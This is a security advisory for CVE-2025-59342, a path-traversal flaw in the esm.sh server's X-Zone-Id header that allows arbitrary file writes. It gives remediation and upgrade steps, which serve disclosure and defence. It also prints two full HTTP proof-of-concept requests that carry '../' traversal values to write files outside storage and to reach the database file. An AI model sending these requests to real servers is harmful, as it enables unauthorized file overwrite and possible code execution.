# CVE-2025-59342: esm.sh has arbitrary file write via path traversal in `X-Zone-Id` header

Source: https://junglewise.ai/threats/cve-2025-59342-esm-sh-has-arbitrary-file-write-via-path-traversal-in-x-zone-id  
Publisher: Junglewise Threat Intelligence, https://junglewise.ai/threats  
Published: 2025-09-17  
License: CC BY 4.0 with a link back

CVE-2025-59342 · Severity: medium · CVSS 4 · Published 2025-09-17

## Summary

A path-traversal flaw in the handling of the `X-Zone-Id` HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying `../` sequences in `X-Zone-Id` causes files to be written to arbitrary directories (example observed: `~/.esmd/modules/transform/<id>/` instead of `~/.esmd/storage/modules/transform`).

**Severity:** Medium

**Component / Endpoint:** 

`POST /transform` — handling of `X-Zone-Id` header

The vulnerable code is in https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116 and https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411 

**Impact:** Arbitrary file creation / overwrite outside intended storage directory (file write to attacker-controlled path). Possible remote code execution, persistence, tampering with application files, or facilitating further path-traversal attacks.

---

## Proof of Concept (POC)

Request (attacker-supplied `X-Zone-Id` contains path traversal):

```
POST /transform HTTP/1.1
Host: localhost:8888
User-Agent: Den/8.7.1
Accept: */*
Connection: keep-alive
Referer: http://localhost:9999/
Content-Type: application/json
X-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/
Content-Length: 325

{
  "filename": "example2.js",
  "lang": "js",
  "code": "console.log('hello');",
  "importMap": {
    "imports": {
      "react": "https://esm.sh/react",
      "react-dom": "https://esm.sh/react-dom"
    }
  },
  "jsxImportSource": "react",
  "target": "es2022",
  "sourceMap": "external",
  "minify": true
}
```
<img width="2496" height="1214" alt="Screenshot 2025-09-16 at 21 40 57" src="https://github.com/user-attachments/assets/f878c3f0-5d7d-410c-97ac-20116f5496db" />


Observed result: file written to `~/.esmd/modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/example2.js` instead of the intended `~/.esmd/storage/modules/transform/`.

This can be trigger with another path traversal request below

```
GET /+c245626ef6ca0fd9ee37759c5fac606c6ec99daa./../../../esm.db?.css HTTP/1.1
Host: localhost:8888
User-Agent: localhost
Accept: */*
Connection: keep-alive
X-Zone-Id: ../
Referer: http://localhost:9999/

```
<img width="2516" height="710" alt="Screenshot 2025-09-16 at 21 37 07" src="https://github.com/user-attachments/assets/1fcfbed3-c1d2-4093-82d8-4afda225c685" />

---

## Remediation

Simply remove any .. in the `X-Zone-Id` header before actually process the file.

## Credits

- [Ai Ho (Jessie)](https://github.com/j3ssie)
- [CL Yang](https://github.com/A11riseforme)

Technologies: [github.com/esm-dev/esm.sh (Go)](https://junglewise.ai/threats/technologies/github-com-esm-dev-esm-sh). Vendors: [Go](https://junglewise.ai/threats/vendors/go).

## Quick answers

**Is CVE-2025-59342 exploited in the wild?** No. Junglewise Threat Intelligence has no report of CVE-2025-59342 being exploited in the wild.

**How severe is CVE-2025-59342?** Medium severity, with a CVSS score of 4, published 17 September 2025.

**Which products and versions are affected?** github.com/esm-dev/esm.sh (Go) <= 136, ECOSYSTEM:introduced=0,fixed=136.1, SEMVER:introduced=0.

**Is there a fix for CVE-2025-59342?** Yes. github.com/esm-dev/esm.sh (Go): upgrade to 136.1 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.

**Am I affected by CVE-2025-59342?** Check whether you run github.com/esm-dev/esm.sh (Go) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

## How to fix

- github.com/esm-dev/esm.sh (Go): upgrade to 136.1 or later

  ```sh
  go get github.com/esm-dev/esm.sh@v136.1
  ```


## Affected products

- github.com/esm-dev/esm.sh (Go) <= 136, ECOSYSTEM:introduced=0,fixed=136.1, SEMVER:introduced=0

## Identifiers

- CVE-2025-59342
- GHSA-g2h5-cvvr-7gmw
- GO-2025-3967

## Related threats

- [esm-dev esm.sh path traversal in package.json browser field](https://junglewise.ai/threats/cve-2026-44594-esm-dev-esm-sh-path-traversal-in-package-json-browser-field)
- [esm.sh path traversal in legacy router leads to arbitrary file write](https://junglewise.ai/threats/cve-2026-44593-esm-sh-path-traversal-in-legacy-router-leads-to-arbitrary-file)
- [GO-2026-4554 - esm.sh has SSRF localhost/private-network bypass in `/http(s)` module route in github.com/esm-dev/esm.sh](https://junglewise.ai/threats/cve-2026-27730-esm-sh-has-ssrf-localhost-private-network-bypass-in-http-s-module)
- [GO-2026-4332 - esm.sh has a path traversal in extractPackageTarball enables file writes from malicious packages](https://junglewise.ai/threats/cve-2026-23644-esm-sh-has-a-path-traversal-in-extractpackagetarball-enables-file)
- [GO-2026-4545 - esm.sh is vulnerable to full-response SSRF in github.com/esm-dev/esm.sh](https://junglewise.ai/threats/cve-2025-50180-esm-sh-is-vulnerable-to-full-response-ssrf)
